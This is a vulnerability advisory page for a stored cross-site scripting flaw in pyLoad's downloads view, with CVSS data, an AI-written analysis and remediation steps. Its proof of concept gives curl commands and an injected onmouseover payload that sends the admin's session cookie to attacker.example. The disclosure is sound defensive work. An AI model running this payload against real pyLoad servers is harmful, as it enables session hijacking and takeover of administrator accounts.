Severity by source
AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N
Primary rating from GitHub Advisory · only source for this CVE.
CVSS VectorGitHub Advisory
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N
Lifecycle Timeline
4DescriptionGitHub Advisory
Summary
The packages.js template at src/pyload/webui/app/themes/modern/templates/js/packages.js:172 interpolates a stored link URL into a template literal inside single-quoted HTML and then writes the result to the DOM via $(div).html(html). No escaping runs between the API value and innerHTML. An attacker (Alice) who can submit a package link puts a single quote plus event handler into the URL, breaks out of the attribute, and executes JavaScript in every operator's browser that opens the downloads view. The theme does not set a Content Security Policy that restricts inline script or event handlers.
Details
Sink: src/pyload/webui/app/themes/modern/templates/js/packages.js:165-188:
const html = `
<span class='child_status'>
<span style='margin-right: 2px;color: #337ab7;' class='${link.icon}'></span>
</span>
<span style='font-size: 16px; font-weight: bold;'>
<a onclick='return false' href='${link.url}'>${link.name}</a>
</span><br/>
<div class='child_secrow' ...>
<span class='child_status' ...>${link.statusmsg}</span> ${link.error}
<span class='child_status' ...>${link.format_size}</span>
<span class='child_status' ...> ${link.plugin}</span>...
</div>`;
const div = document.createElement("div");
$(div).attr("id", `file_${link.id}`);
$(div).css("padding-left", "30px");
$(div).css("cursor", "grab");
$(div).addClass("child");
$(div).html(html);link.url flows in from /api/get_package_data, which returns the URL exactly as stored. Seven other fields on the same element (link.name, link.statusmsg, link.error, link.format_size, link.plugin, link.icon, link.id) share the same unescaped injection surface.
Source: src/pyload/core/api/__init__.py:541-600 (add_package) and the /api/add_package JSON route store the attacker-supplied links list without HTML escaping. The add_package URL sanitizer only strips http://, https://, ../, ..\\, :, and / from the folder *name*, not the link URL itself.
Mitigation gap: src/pyload/webui/app/__init__.py:63-72 sets security headers but has no Content-Security-Policy header. The only script-related header is X-XSS-Protection, which is a no-op on modern browsers.
Proof of Concept
Actor: Alice (authenticated user with Perms.ADD). Reproduces against pyload 0.5.0-dev at f081a16.
TARGET="http://<pyload-host>:<port>"
# Alice logs in.
CSRF=$(curl -sS -c /tmp/alice.jar "$TARGET/login" | grep -oP 'name="csrf_token" value="\K[^"]+')
curl -sS -b /tmp/alice.jar -c /tmp/alice.jar -X POST "$TARGET/login" \
-d "csrf_token=$CSRF&do=login&username=alice&password=alice123" -o /dev/null
API_CSRF=$(curl -sS -b /tmp/alice.jar "$TARGET/" | grep -oP 'name="csrf-token" content="\K[^"]+')
# Alice creates a package whose link URL breaks out of the href attribute
# and installs an onmouseover payload.
curl -sS -b /tmp/alice.jar -X POST "$TARGET/api/add_package" \
-H "X-CSRFToken: $API_CSRF" -H "Content-Type: application/json" \
-d $'{"name":"xss-pkg","links":["http://x\' onmouseover=\'fetch(`//attacker.example/`+document.cookie)"]}'The package lands in the collector (the default destination). Alice can also pass "dest":1 to place it in the queue instead. Both /collector and /queue render the same packages.html template, which loads packages.js.
When any user (including the admin pyload) opens /collector or /queue and hovers the injected file row, the browser parses the anchor as:
<a onclick='return false' href='http://x' onmouseover='fetch(`//attacker.example/`+document.cookie)'>http://x' onmouseover='fetch(`//attacker.example/`+document.cookie)</a>The onmouseover handler fires on hover and exfiltrates the session cookie. A javascript: URL in the href triggers on click without hover.
Impact
Any user who can reach /api/add_package (which covers the Perms.ADD role, the common baseline for operator users) plants JavaScript that runs in an admin's browser the next time that admin opens the downloads view. The admin's session cookie is in the same origin, so Alice receives it directly. Holding the admin cookie, Alice hits every admin-only endpoint: arbitrary plugin upload, configuration rewrite, reconnect-script RCE, and so on. The attack is stored, persists across reboots, and does not require any interaction from the victim beyond visiting /collector or /queue, the two pages operators use constantly.
The CNL Blueprint exposes a sibling attack surface: when pyload runs with the ClickNLoad handler enabled, an unauthenticated network attacker calls POST /flash/add with the same injected URL and reaches the same sink without logging in.
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N (High, 8.3). CWE-79.
Recommended Fix
Two changes.
First, escape every ${link.*} interpolation in the template. jQuery's .text() escapes by default; structure the render so attacker-controlled strings never reach .html():
const a = $("<a/>").attr("href", link.url).text(link.name);
const status = $("<span/>").text(link.statusmsg);
// ... build the DOM with .text() / .attr() calls ...
$(div).append(a).append(status);If keeping the template-literal style, at minimum wrap every ${link.*} in a helper that HTML-escapes:
const esc = (s) => String(s).replace(/&/g, "&").replace(/</g, "<")
.replace(/>/g, ">").replace(/"/g, """).replace(/'/g, "'");Second, deploy a strict CSP. default-src 'self'; script-src 'self'; object-src 'none'; base-uri 'self'; frame-ancestors 'self' kills the inline-handler class entirely, and pyload's own assets already load from 'self'.
Audit the sibling templates (queue.js, dashboard.js, all admin themes) for the same pattern.
--- *Found by aisafe.io*
AnalysisAI
Stored cross-site scripting (XSS) in pyLoad's download management interface allows authenticated users with add-package permissions to inject JavaScript that executes in administrators' browsers when viewing the /collector or /queue pages. The vulnerability stems from unescaped template literal interpolation in packages.js that directly writes attacker-controlled link URLs to the DOM via jQuery .html(). Exploitation requires low-privilege authentication (Perms.ADD role) but enables full session hijacking against administrators, leading to plugin upload, configuration tampering, and potential remote code execution through reconnect-script features. A secondary unauthenticated attack vector exists when the ClickNLoad handler is enabled via POST /flash/add. No public exploit identified at time of analysis, though detailed proof-of-concept is published in the GitHub advisory.
Technical ContextAI
The vulnerability exists in pyLoad's modern theme JavaScript template at src/pyload/webui/app/themes/modern/templates/js/packages.js:165-188. The code constructs HTML using ES6 template literals that interpolate eight stored database fields (link.url, link.name, link.statusmsg, link.error, link.format_size, link.plugin, link.icon, link.id) directly into single-quoted HTML attributes without escaping, then injects the result into the DOM using jQuery's .html() method. The backend API endpoint /api/get_package_data returns these values exactly as stored by /api/add_package (src/pyload/core/api/__init__.py:541-600), which applies URL sanitization only to folder names, not link URLs themselves. The application sets security headers via src/pyload/webui/app/__init__.py:63-72 but lacks a Content-Security-Policy, allowing inline event handlers. CWE-79 (Improper Neutralization of Input During Web Page Generation) manifests through template injection rather than traditional reflected XSS, creating a stored XSS condition. The CPE identifier pkg:pip/pyload-ng confirms this is the Python package distributed via PyPI, affecting versions through 0.5.0b3.dev99.
RemediationAI
No vendor-released patch is confirmed per available data (GitHub advisory shows fixed version: None). Organizations must implement compensating controls immediately. Primary mitigation: deploy a strict Content-Security-Policy header via reverse proxy or application configuration: 'default-src self; script-src self; object-src none; base-uri self; frame-ancestors self; require-trusted-types-for script'. This prevents inline event handlers from executing. Add the header in your web server or reverse proxy configuration (nginx add_header, Apache Header set). Trade-off: may break legitimate inline scripts if any exist outside the vulnerable template; test in report-only mode first. Secondary control: restrict /api/add_package endpoint to administrator accounts only by modifying src/pyload/webui/app/blueprints/api_blueprint.py to require elevated permissions beyond Perms.ADD. Trade-off: operators lose package submission capability; unsuitable for multi-user workflows. If ClickNLoad is enabled, disable it via config/pyload.cfg or firewall /flash/add at the network layer. For instances requiring ClickNLoad, restrict access via IP allowlist. Input validation: patch packages.js locally by replacing $(div).html(html) with DOM construction using jQuery .text() and .attr() methods as shown in the advisory's recommended fix section. Monitor for upstream patch release at https://github.com/pyload/pyload and https://github.com/advisories/GHSA-fcjq-435v-jx94. All mitigations should be considered temporary pending official vendor patch.
Same weakness CWE-79 – Cross-site Scripting (XSS)
View allShare
External POC / Exploit Code
Leaving vuln.today
EUVD-2026-32957
GHSA-fcjq-435v-jx94